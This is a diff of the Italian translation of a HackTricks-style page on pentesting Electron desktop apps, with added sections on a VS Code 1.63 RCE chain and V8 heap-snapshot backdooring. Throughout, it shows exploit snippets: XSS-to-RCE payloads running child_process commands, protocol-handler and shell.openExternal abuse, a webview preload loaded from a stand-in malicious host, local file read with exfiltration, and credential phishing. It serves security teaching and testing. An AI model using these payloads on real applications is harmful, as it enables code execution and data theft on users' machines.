Translated ['src/network-services-pentesting/pentesting-web/electron-des

src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

@@ -1,12 +1,12 @@
-# Applicazioni Desktop Electron
+# Electron Desktop Apps
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Introduzione
+## Introduction
 
-Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), sebbene manchi di alcuni dei meccanismi di sicurezza dei browser moderni.
+Electron combina un backend locale (con **NodeJS**) e un frontend (**Chromium**), anche se gli mancano alcuni dei meccanismi di sicurezza dei browser moderni.
 
-Solitamente puoi trovare il codice dell'app Electron all'interno di un'applicazione `.asar`; per ottenere il codice devi estrarlo:
+Solitamente il codice dell'app Electron si trova all'interno di un'applicazione `.asar`; per ottenere il codice è necessario estrarlo:
 ```bash
 npx asar extract app.asar destfolder #Extract everything
 npx asar extract-file app.asar main.js #Extract just a file
@@ -20,11 +20,11 @@ Nel codice sorgente di un'app Electron, all'interno di `packet.json`, puoi trova
 Electron ha 2 tipi di processi:
 
 - Main Process (ha accesso completo a NodeJS)
-- Renderer Process (dovrebbe avere accesso a NodeJS limitato per motivi di sicurezza)
+- Renderer Process (dovrebbe avere l'accesso a NodeJS ristretto per motivi di sicurezza)
 
 ![](<../../../images/image (182).png>)
 
-Un **processo renderer** sarà una finestra del browser che carica un file:
+Un **renderer process** sarà una finestra del browser che carica un file:
 ```javascript
 const { BrowserWindow } = require("electron")
 let win = new BrowserWindow()
@@ -32,17 +32,17 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni impediranno che l'applicazione Electron subisca RCE o altre vulnerabilità se le **impostazioni sono configurate correttamente**.
+Le impostazioni del **renderer process** possono essere **configurate** nel **main process** all'interno del file main.js. Alcune configurazioni **impediranno all'applicazione Electron di ottenere RCE** o altre vulnerabilità se le **impostazioni sono configurate correttamente**.
 
-L'applicazione Electron **potrebbe accedere al dispositivo** tramite le Node APIs, sebbene possa essere configurata per impedirlo:
+L'applicazione Electron **potrebbe accedere al dispositivo** tramite Node apis, sebbene possa essere configurata per impedirlo:
 
-- **`nodeIntegration`** - è `off` di default. Se attivato, permette di accedere alle funzionalità di node dal renderer process.
-- **`contextIsolation`** - è `on` di default. Se disabilitato, main e renderer processes non sono isolati.
-- **`preload`** - vuoto di default.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è off di default. Restringerà le azioni che NodeJS può eseguire.
-- Node Integration nei Workers
-- **`nodeIntegrationInSubframes`** - è `off` di default.
-- Se **`nodeIntegration`** è **abilitato**, questo permetterebbe l'uso delle **Node.js APIs** in pagine web che vengono **caricate in iframe** all'interno di un'app Electron.
+- **`nodeIntegration`** - è `off` per impostazione predefinita. Se attivato, permette l'accesso alle funzionalità di Node dal renderer process.
+- **`contextIsolation`** - è `on` per impostazione predefinita. Se `off`, i processi main e renderer non sono isolati.
+- **`preload`** - vuoto per impostazione predefinita.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - è `off` per impostazione predefinita. Restringerà le azioni che NodeJS può eseguire.
+- Node Integration in Workers
+- **`nodeIntegrationInSubframes`** - è `off` per impostazione predefinita.
+- Se **`nodeIntegration`** è **abilitato**, ciò consentirebbe l'uso delle **Node.js APIs** nelle pagine web **caricate in iframe** all'interno di un'applicazione Electron.
 - Se **`nodeIntegration`** è **disabilitato**, allora i preload verranno caricati nell'iframe
 
 Esempio di configurazione:
@@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
 src="x"
 onerror="alert(require('child_process').execSync('uname -a').toString());" />
 ```
-### Cattura del traffico
+### Cattura il traffico
 
 Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
 ```javascript
@@ -103,7 +103,7 @@ Modifica la configurazione start-main e aggiungi l'uso di un proxy come:
 ```
 ## Electron Local Code Injection
 
-Se puoi eseguire localmente un Electron App, è possibile che tu riesca a farlo eseguire codice javascript arbitrario. Vedi come in:
+Se puoi eseguire localmente un'app Electron, è possibile che tu possa farle eseguire codice javascript arbitrario. Vedi come in:
 
 
 {{#ref}}
@@ -112,7 +112,7 @@ Se puoi eseguire localmente un Electron App, è possibile che tu riesca a farlo
 
 ## RCE: XSS + nodeIntegration
 
-Se il **nodeIntegration** è impostato su **on**, il JavaScript di una pagina web può usare le funzionalità di Node.js semplicemente chiamando `require()`. Ad esempio, il modo per eseguire l'applicazione calc su Windows è:
+Se la **nodeIntegration** è impostata su **on**, il JavaScript della pagina web può usare facilmente le funzionalità di Node.js semplicemente chiamando `require()`. Per esempio, il modo per eseguire l'applicazione calc su Windows è:
 ```html
 <script>
 require("child_process").exec("calc")
@@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
 
 ## RCE: preload
 
-Lo script indicato in questa impostazione è **caricato prima degli altri script nel renderer**, quindi ha **accesso illimitato alle Node APIs**:
+Lo script indicato in questa impostazione viene **caricato prima degli altri script nel renderer**, quindi ha **accesso illimitato alle Node APIs**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@@ -133,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
 }
 });
 ```
-Pertanto, lo script può esportare node-features alle pagine:
+Pertanto, lo script può esportare node-features nelle pagine:
 ```javascript:preload.js
 typeof require === "function"
 window.runCalc = function () {
@@ -153,13 +153,13 @@ runCalc()
 
 ## RCE: XSS + contextIsolation
 
-La _**contextIsolation**_ introduce i **contesti separati tra gli script della pagina web e il codice JavaScript interno di Electron** in modo che l'esecuzione JavaScript di ciascun codice non si influenzi a vicenda. Questa è una funzionalità necessaria per eliminare la possibilità di RCE.
+Il _**contextIsolation**_ introduce dei **contesti separati tra gli script della pagina web e il codice interno JavaScript di Electron** in modo che l'esecuzione JavaScript di ciascuno non influisca sull'altro. Questa è una funzionalità necessaria per eliminare la possibilità di RCE.
 
-Se i contesti non sono isolati, un attacker può:
+Se i contesti non sono isolati un attaccante può:
 
 1. Eseguire **JavaScript arbitrario nel renderer** (XSS o navigazione verso siti esterni)
-2. **Sovrascrivere un metodo built-in** usato nel codice preload o nel codice interno di Electron per prenderne il controllo
-3. **Attivare** l'uso della **funzione sovrascritta**
+2. **Sovrascrivere il metodo built-in** che viene usato nel preload o nel codice interno di Electron per prendere il controllo della funzione
+3. **Innescare** l'uso della **funzione sovrascritta**
 4. RCE?
 
 Ci sono 2 posti dove i metodi built-in possono essere sovrascritti: nel codice preload o nel codice interno di Electron:
@@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
 electron-contextisolation-rce-via-ipc.md
 {{#endref}}
 
-### Bypass dell'evento click
+### Bypass click event
 
-Se ci sono restrizioni applicate quando clicchi un link potresti essere in grado di aggirarle **facendo un middle click** invece del normale left click
+Se ci sono restrizioni applicate quando clicchi un link, potresti riuscire ad aggirarle **eseguendo un clic centrale** invece del normale clic sinistro
 ```javascript
 window.addEventListener('click', (e) => {
 ```
-## RCE via shell.openExternal
+## RCE tramite shell.openExternal
 
 Per maggiori informazioni su questi esempi consulta [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) e [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
 
-Quando si distribuisce un'applicazione desktop Electron, assicurarsi della corretta configurazione di `nodeIntegration` e `contextIsolation` è cruciale. È assodato che **client-side remote code execution (RCE)** mirata agli script di preload o al codice nativo di Electron dal processo principale venga efficacemente prevenuta con queste impostazioni.
+Quando si distribuisce un'applicazione desktop Electron, assicurarsi che le impostazioni di `nodeIntegration` e `contextIsolation` siano corrette è fondamentale. È consolidato che la **client-side remote code execution (RCE)** che prende di mira i preload scripts o il codice nativo di Electron dal main process venga efficacemente impedita con queste impostazioni.
 
-Quando un utente interagisce con link o apre nuove finestre, vengono attivati dei listener di evento specifici, fondamentali per la sicurezza e il funzionamento dell'applicazione:
+Quando un utente interagisce con link o apre nuove finestre, vengono attivati specifici event listeners, che sono cruciali per la sicurezza e la funzionalità dell'applicazione:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {}
 webContents.on("will-navigate", function (event, url) {}
 ```
-Questi listener sono **sovrascritti dall'applicazione desktop** per implementare la propria **logica di business**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa tramite una funzione, `openInternally`. Se questa funzione restituisce `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
+Questi listener vengono **sovrascritti dall'applicazione desktop** per implementare la propria **logica di business**. L'applicazione valuta se un link navigato debba essere aperto internamente o in un browser web esterno. Questa decisione viene tipicamente presa tramite una funzione, `openInternally`. Se questa funzione ritorna `false`, indica che il link deve essere aperto esternamente, utilizzando la funzione `shell.openExternal`.
 
-**Ecco un pseudocodice semplificato:**
+**Here is a simplified pseudocode:**
 
 ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
 
 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
 
-Electron JS security best practices sconsigliano di accettare contenuti non affidabili con la funzione `openExternal`, poiché potrebbe portare a RCE tramite vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
+Electron JS security best practices sconsigliano di accettare contenuti non fidati con la funzione `openExternal`, poiché potrebbe portare a RCE tramite vari protocolli. I sistemi operativi supportano diversi protocolli che potrebbero innescare RCE. Per esempi dettagliati e ulteriori spiegazioni su questo argomento, si può fare riferimento a [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), che include esempi di protocolli Windows in grado di sfruttare questa vulnerabilità.
 
 In macos, la funzione `openExternal` può essere sfruttata per eseguire comandi arbitrari come in `shell.openExternal('file:///System/Applications/Calculator.app')`.
 
-**Esempi di exploit tramite protocolli Windows includono:**
+**Esempi di Windows protocol exploits includono:**
 ```html
 <script>
 window.open(
@@ -230,15 +230,15 @@ window.open(
 ```
 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
 
-Questa vulnerabilità è descritta in **[questa ricerca](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+Questa vuln è documentata in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
 
-Il **webviewTag** è una **funzionalità deprecata** che permette l'uso di **NodeJS** nel **renderer process**, e dovrebbe essere disabilitata poiché consente di caricare uno script all'interno del contesto di preload come:
+Il **webviewTag** è una **funzionalità deprecata** che permette l'uso di **NodeJS** nel **renderer process**, che dovrebbe essere disabilitata poiché permette di caricare uno script nel contesto di preload come:
 ```xml
 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
 ```
-Pertanto, un attacker che riesce a caricare una pagina arbitraria potrebbe usare quel tag per **caricare uno script di preload arbitrario**.
+Pertanto, un attacker che riesce a caricare una pagina arbitraria potrebbe usare quel tag per **caricare un preload script arbitrario**.
 
-Questo preload script è stato poi abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che chiamava **`shell.openExternal`** per ottenere RCE:
+Questo preload script è stato poi abusato per chiamare un **servizio IPC vulnerabile (`skype-new-window`)** che stava chiamando chiamando **`shell.openExternal`** per ottenere RCE:
 ```javascript
 (async() => {
 const { ipcRenderer } = require("electron");
@@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
 ```
 ## Lettura di file interni: XSS + contextIsolation
 
-**Disabilitare `contextIsolation` permette l'uso dei tag `<webview>`**, simili a `<iframe>`, per leggere ed esfiltrare file locali. Un esempio mostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
+**Disabilitare `contextIsolation` permette l'uso di tag `<webview>`**, simili a `<iframe>`, per leggere ed exfiltrate file locali. Un esempio fornito dimostra come sfruttare questa vulnerabilità per leggere il contenuto di file interni:
 
 ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
 
-Ulteriormente, viene condiviso un altro metodo per **leggere un file interno**, evidenziando una grave vulnerabilità di lettura di file locali in un'app desktop Electron. Questo comporta l'iniezione di uno script per sfruttare l'applicazione e esfiltrare i dati:
+Inoltre, viene mostrato un altro metodo per **leggere un file interno**, che evidenzia una critical local file read vulnerability in un Electron desktop app. Questo consiste nell'iniettare uno script per sfruttare l'applicazione ed exfiltrate i dati:
 ```html
 <br /><br /><br /><br />
 <h1>
@@ -271,23 +271,23 @@ frames[0].document.body.innerText
 </script>
 </h1>
 ```
-## **RCE: XSS + Old Chromium**
+## **RCE: XSS + Vecchio Chromium**
 
-Se il **chromium** usato dall'applicazione è **vecchio** e ci sono **vulnerabilità** note, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite una XSS**.\
+Se il **chromium** usato dall'applicazione è **vecchio** e ci sono **vulnerabilità** **note** su di esso, potrebbe essere possibile **sfruttarlo e ottenere RCE tramite una XSS**.\\
 Puoi vedere un esempio in questo **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
 
 ## **XSS Phishing via Internal URL regex bypass**
 
-Supponendo che tu abbia trovato una XSS ma **non possa scatenare RCE o rubare file interni** potresti provare a usarla per **rubare credenziali via phishing**.
+Supponendo che tu abbia trovato una XSS ma **non puoi trigger RCE o rubare file interni** potresti provare a usarla per **rubare credenziali via phishing**.
 
 Prima di tutto devi sapere cosa succede quando provi ad aprire una nuova URL, controllando il codice JS nel front-end:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
 ```
-La chiamata a **`openInternally`** deciderà se il **link** verrà **aperto** nella **desktop window** in quanto link appartenente alla piattaforma, **o** se verrà aperto nel **browser** come risorsa di terze parti.
+La chiamata a **`openInternally`** deciderà se il **link** sarà **aperto** nella **finestra desktop** poiché è un link appartenente alla piattaforma, **o** se sarà aperto nel **browser come risorsa di terze parti**.
 
-Nel caso in cui il **regex** usato dalla funzione sia **vulnerable to bypasses** (per esempio **not escaping the dots of subdomains**) un attacker potrebbe abusare della XSS per **open a new window which** sarà situata nell'infrastruttura dell'attacker **asking for credentials** all'utente:
+Nel caso la **regex** usata dalla funzione sia **vulnerabile a bypass** (per esempio **non eseguendo l'escape dei punti dei sottodomini**) un attaccante potrebbe abusare della XSS per **aprire una nuova finestra che** sarà collocata nell'infrastruttura dell'attaccante **richiedendo credenziali** all'utente:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
@@ -295,21 +295,21 @@ window.open("<http://subdomainagoogleq.com/index.html>")
 ```
 ## `file://` Protocollo
 
-Come menzionato nella [docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) le pagine eseguite su **`file://`** hanno accesso unilaterale a ogni file sulla tua macchina, il che significa che **problemi di XSS possono essere usati per caricare file arbitrari** dalla macchina dell'utente. L'uso di un **protocollo personalizzato** previene problemi di questo tipo poiché puoi limitare il protocollo a servire solo un insieme specifico di file.
+As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) le pagine eseguite su **`file://`** hanno accesso unilaterale a ogni file sulla tua macchina, il che significa che **XSS possono essere usate per caricare file arbitrari** dalla macchina dell'utente. L'uso di un **protocollo personalizzato** previene problemi di questo tipo poiché puoi limitare il protocollo a servire solo un insieme specifico di file.
 
 ## Remote module
 
-Il Remote module di Electron permette ai **processi renderer di accedere alle API del processo main**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce significativi rischi di sicurezza. Amplia la superficie d'attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi di cross-site scripting (XSS).
+The Electron Remote module permette ai **processi renderer di accedere alle API del processo principale**, facilitando la comunicazione all'interno di un'app Electron. Tuttavia, abilitare questo modulo introduce rischi significativi per la sicurezza. Espande la superficie di attacco dell'applicazione, rendendola più suscettibile a vulnerabilità come gli attacchi cross-site scripting (XSS).
 
 > [!TIP]
-> Sebbene il modulo **remote** esponga alcune API dal main ai processi renderer, non è semplice ottenere RCE limitandosi ad abusare solo dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
+> Anche se il modulo **remote** espone alcune API dal processo principale ai processi renderer, non è immediato ottenere RCE limitandosi ad abusare dei componenti. Tuttavia, i componenti potrebbero esporre informazioni sensibili.
 
 > [!WARNING]
-> Molte app che usano ancora il modulo remote lo fanno in modo tale da **richiedere che NodeIntegration sia abilitato** nel processo renderer, il che rappresenta un **enorme rischio di sicurezza**.
+> Molte app che ancora usano il modulo remote lo fanno in modo da **richiedere che NodeIntegration sia abilitato** nel processo renderer, il che è un **enorme rischio per la sicurezza**.
 
-Da Electron 14 il modulo `remote` potrebbe essere abilitato in diversi step; tuttavia, per motivi di sicurezza e performance è **consigliato non usarlo**.
+Da Electron 14 il modulo `remote` potrebbe essere abilitato in diversi passaggi; per motivi di sicurezza e prestazioni è **consigliato non usarlo**.
 
-Per abilitarlo, è prima necessario **abilitarlo nel processo main**:
+Per abilitarlo, è prima necessario **abilitarlo nel processo principale**:
 ```javascript
 const remoteMain = require('@electron/remote/main')
 remoteMain.initialize()
@@ -320,37 +320,37 @@ mainWindow = new BrowserWindow({
 })
 remoteMain.enable(mainWindow.webContents)
 ```
-Quindi, il processo renderer può importare oggetti dal modulo che preferisce:
+Quindi, il processo renderer può importare oggetti dal modulo in questo modo:
 ```javascript
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
-Il **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune **funzioni** interessanti esposte dall'oggetto **`app`** del remote module:
+The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indica alcune interessanti **funzioni** esposte dall'oggetto **`app`** dal remote module:
 
 - **`app.relaunch([options])`**
-- **Riavvia** l'applicazione **uscendo** dall'istanza corrente e **avviandone** una nuova. Utile per **aggiornamenti dell'app** o significativi **cambiamenti di stato**.
+- **Riavvia** l'applicazione terminando l'istanza corrente e **avviandone** una nuova. Utile per **aggiornamenti dell'app** o cambiamenti significativi di **stato**.
 - **`app.setAppLogsPath([path])`**
-- **Definisce** o **crea** una directory per memorizzare i **log dell'app**. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
+- **Definisce** o **crea** una directory per memorizzare i **log** dell'app. I log possono essere **recuperati** o **modificati** usando **`app.getPath()`** o **`app.setPath(pathName, newPath)`**.
 - **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
-- **Registra** l'eseguibile corrente come **gestore predefinito** per un determinato **protocollo**. È possibile fornire un **percorso personalizzato** e **argomenti** se necessario.
+- **Registra** l'eseguibile corrente come **gestore predefinito** per un determinato **protocollo**. Puoi fornire un **percorso personalizzato** e **argomenti** se necessario.
 - **`app.setUserTasks(tasks)`**
-- **Aggiunge** task alla **Tasks category** nella **Jump List** (su Windows). Ogni task può controllare come l'app viene **avviata** o quali **argomenti** vengono passati.
+- **Aggiunge** attività alla **categoria Tasks** nella **Jump List** (su Windows). Ogni attività può controllare come l'app viene **avviata** o quali **argomenti** vengono passati.
 - **`app.importCertificate(options, callback)`**
-- **Importa** un **PKCS#12 certificate** nello **store dei certificati** del sistema (solo Linux). È possibile usare una **callback** per gestire il risultato.
+- **Importa** un certificato **PKCS#12** nello store dei certificati del sistema (solo Linux). Una **callback** può essere usata per gestire il risultato.
 - **`app.moveToApplicationsFolder([options])`**
-- **Sposta** l'applicazione nella **Applications folder** (su macOS). Aiuta a garantire un'**installazione standard** per gli utenti Mac.
+- **Sposta** l'applicazione nella cartella **Applications** (su macOS). Aiuta a garantire un'installazione **standard** per gli utenti Mac.
 - **`app.setJumpList(categories)`**
-- **Imposta** o **rimuove** una **Jump List personalizzata** su **Windows**. È possibile specificare **categorie** per organizzare come i task appaiono all'utente.
+- **Imposta** o **rimuove** una **Jump List** personalizzata su **Windows**. Puoi specificare **categorie** per organizzare come le attività appaiono all'utente.
 - **`app.setLoginItemSettings(settings)`**
-- **Configura** quali **eseguibili** si avviano al **login** insieme alle loro **opzioni** (solo macOS e Windows).
+- **Configura** quali **eseguibili** vengono avviati al **login** insieme alle loro **opzioni** (solo macOS e Windows).
 
-Esempio:
+Example:
 ```javascript
 Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
 Native.app.exit()
 ```
-## systemPreferences modulo
+## systemPreferences module
 
-La **API principale** per accedere alle preferenze di sistema e **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** e **setUserDefault** fanno tutti **parte di** questo modulo.
+The **API principale** per accedere alle preferenze di sistema e per **emettere eventi di sistema** in Electron. Metodi come **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, e **setUserDefault** sono tutti **parte di** questo modulo.
 
 **Esempio d'uso:**
 ```javascript
@@ -368,32 +368,32 @@ console.log('Recent Places:', recentPlaces);
 ### **subscribeNotification / subscribeWorkspaceNotification**
 
 * **Ascolta** le **notifiche native di macOS** usando NSDistributedNotificationCenter.
-* Prima di **macOS Catalina**, era possibile intercettare **tutte** le notifiche distribuite passando **nil** a CFNotificationCenterAddObserver.
-* Dopo **Catalina / Big Sur**, le app sandboxate possono ancora **iscriversi** a **molti eventi** (per esempio, **blocchi/sblocchi dello schermo**, **montaggio di volumi**, **attività di rete**, ecc.) registrando le notifiche **per nome**.
+* Prima di **macOS Catalina**, era possibile sniffare **tutte** le distributed notifications passando **nil** a CFNotificationCenterAddObserver.
+* Dopo **Catalina / Big Sur**, le app sandboxate possono ancora **subscribe** a **molti eventi** (per esempio, **screen locks/unlocks**, **volume mounts**, **network activity**, ecc.) registrando notifiche **per nome**.
 
 ### **getUserDefault / setUserDefault**
 
-* **Interagisce** con **NSUserDefaults**, che memorizza le preferenze **dell'applicazione** o **globali** su macOS.
+* **Interagisce** con **NSUserDefaults**, che memorizza le preferenze **dell’applicazione** o **globali** su macOS.
 
-* **getUserDefault** può **recuperare** informazioni sensibili, come le **posizioni dei file recenti** o la **posizione geografica dell'utente**.
+* **getUserDefault** può **recuperare** informazioni sensibili, come **posizioni di file recenti** o la **posizione geografica** dell’utente.
 
-* **setUserDefault** può **modificare** queste preferenze, influenzando potenzialmente la **configurazione** di un'app.
+* **setUserDefault** può **modificare** queste preferenze, influenzando potenzialmente la **configurazione** di un’app.
 
-* Nelle **vecchie versioni di Electron** (prima di v8.3.0), solo la **suite standard** di NSUserDefaults era **accessibile**.
+* Nelle **vecchie versioni di Electron** (prima di v8.3.0), era accessibile solo la **standard suite** di NSUserDefaults.
 
 ## Shell.showItemInFolder
 
-Questa funzione mostra il file specificato in un file manager, che **potrebbe eseguire automaticamente il file**.
+Questa funzione mostra il file fornito in un file manager, che **potrebbe eseguire automaticamente il file**.
 
 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
 
 ## Content Security Policy
 
-Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **impedire** l'**esecuzione** di **codice non attendibile** nel browser.
+Le app Electron dovrebbero avere una **Content Security Policy (CSP)** per **prevenire attacchi XSS**. La **CSP** è uno **standard di sicurezza** che aiuta a **impedire** l'**esecuzione** di **codice non affidabile** nel browser.
 
-Di solito viene **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
+Di solito è **configurata** nel file **`main.js`** o nel template **`index.html`** con la CSP all'interno di un **meta tag**.
 
-For more information check:
+Per maggiori informazioni vedi:
 
 
 {{#ref}}
@@ -401,16 +401,39 @@ pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}
 
 
-## **Tools**
+## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
+
+Questa catena reale ha colpito Visual Studio Code 1.63 (CVE-2021-43908) e dimostra come un singolo XSS driven da markdown in una webview possa essere scalato a RCE completo quando CSP, postMessage e scheme handlers sono configurati in modo errato. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
+
+Panoramica della catena d'attacco
+- Prima XSS via webview CSP: la CSP generata includeva `style-src 'self' 'unsafe-inline'`, permettendo injection inline/basata su style in un contesto `vscode-webview://`. Il payload invocava `/stealID` per esfiltrare l'extensionId del webview target.
+- Costruzione dell'URL del webview target: usando l'ID leaked per creare `vscode-webview://<extensionId>/.../<publicUrl>`.
+- Secondo XSS via postMessage trust: il webview esterno si fidava di `window.postMessage` senza controlli rigorosi su origin/type e caricava HTML malevolo con `allowScripts: true`.
+- Caricamento di file locali tramite riscrittura di scheme/path: il payload riscriveva `file:///...` in `vscode-file://vscode-app/...` e sostituiva `exploit.md` con `RCE.html`, abusando della debole validazione dei path per caricare una risorsa locale privilegiata.
+- RCE in contesto Node-enabled: l'HTML caricato veniva eseguito con le Node API disponibili, permettendo l'esecuzione di comandi OS.
+
+Esempio di primitive RCE nel contesto finale
+```js
+// RCE.html (executed in a Node-enabled webview context)
+require('child_process').exec('calc.exe');            // Windows
+require('child_process').exec('/System/Applications/Calculator.app'); // macOS
+```
+Letture correlate sui problemi di fiducia relativi a postMessage:
+
+{{#ref}}
+../../../pentesting-web/postmessage-vulnerabilities/README.md
+{{#endref}}
+
+## **Strumenti**
 
 - [**Electronegativity**](https://github.com/doyensec/electronegativity) è uno strumento per identificare misconfigurazioni e anti-pattern di sicurezza nelle applicazioni basate su Electron.
 - [**Electrolint**](https://github.com/ksdmitrieva/electrolint) è un plugin open source per VS Code per applicazioni Electron che usa Electronegativity.
-- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per verificare librerie di terze parti vulnerabili
+- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) per controllare la presenza di librerie di terze parti vulnerabili
 - [**Electro.ng**](https://electro.ng/): È a pagamento
 
-## Labs
+## Laboratori
 
-In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puoi trovare un laboratorio per sfruttare applicazioni Electron vulnerabili.
+In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) trovi un laboratorio per sfruttare applicazioni Electron vulnerabili.
 
 Alcuni comandi che ti aiuteranno con il laboratorio:
 ```bash
@@ -435,20 +458,20 @@ cd vulnerable1
 npm install
 npm start
 ```
-## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
+## Backdoor locale tramite manomissione dello snapshot heap V8 (Electron/Chromium) – CVE-2025-55305
 
-Electron e le app basate su Chromium deserializzano uno snapshot V8 della heap precompilato all'avvio (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente, i fuse di integrità di Electron non consideravano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato sui fuse sia ai controlli di firma del codice del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente consentiva esecuzione di codice stealth e persistente all'interno dell'app senza modificare i binari firmati o l'ASAR.
+Le app basate su Electron e Chromium deserializzano uno snapshot heap V8 precompilato all'avvio (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente i fuse di integrità di Electron non consideravano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato sui fuse sia ai controlli di code-signing del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente forniva esecuzione di codice persistente e stealthy all'interno dell'app senza modificare i binari firmati o l'ASAR.
 
-Key points
-- Integrity gap: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar convalidano il JavaScript dell'app all'interno dell'ASAR, ma non coprivano i V8 heap snapshots (CVE-2025-55305). Chromium allo stesso modo non verifica l'integrità degli snapshot.
-- Attack preconditions: possibilità di scrittura di file locali nella directory di installazione dell'app. Questo è comune su sistemi dove le app Electron o i browser Chromium sono installati in percorsi scrivibili dall'utente (es., %AppData%\Local su Windows; /Applications con caveat su macOS).
-- Effect: esecuzione affidabile di JavaScript dell'attaccante in qualsiasi isolate sovrascrivendo un builtin usato di frequente (un “gadget”), permettendo persistenza ed elusione della verifica della firma del codice.
-- Affected surface: Electron apps (anche con i fuse abilitati) e browser basati su Chromium che caricano snapshot da posizioni scrivibili dall'utente.
+Punti chiave
+- Falla di integrità: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validano il JavaScript dell'app all'interno dell'ASAR, ma non coprivano gli snapshot heap V8 (CVE-2025-55305). Anche Chromium similmente non effettua il controllo di integrità sugli snapshot.
+- Precondizioni dell'attacco: scrittura locale di file nella directory di installazione dell'app. Questo è comune su sistemi dove le app Electron o i browser Chromium sono installati in percorsi scrivibili dall'utente (es., %AppData%\Local su Windows; /Applications con avvertenze su macOS).
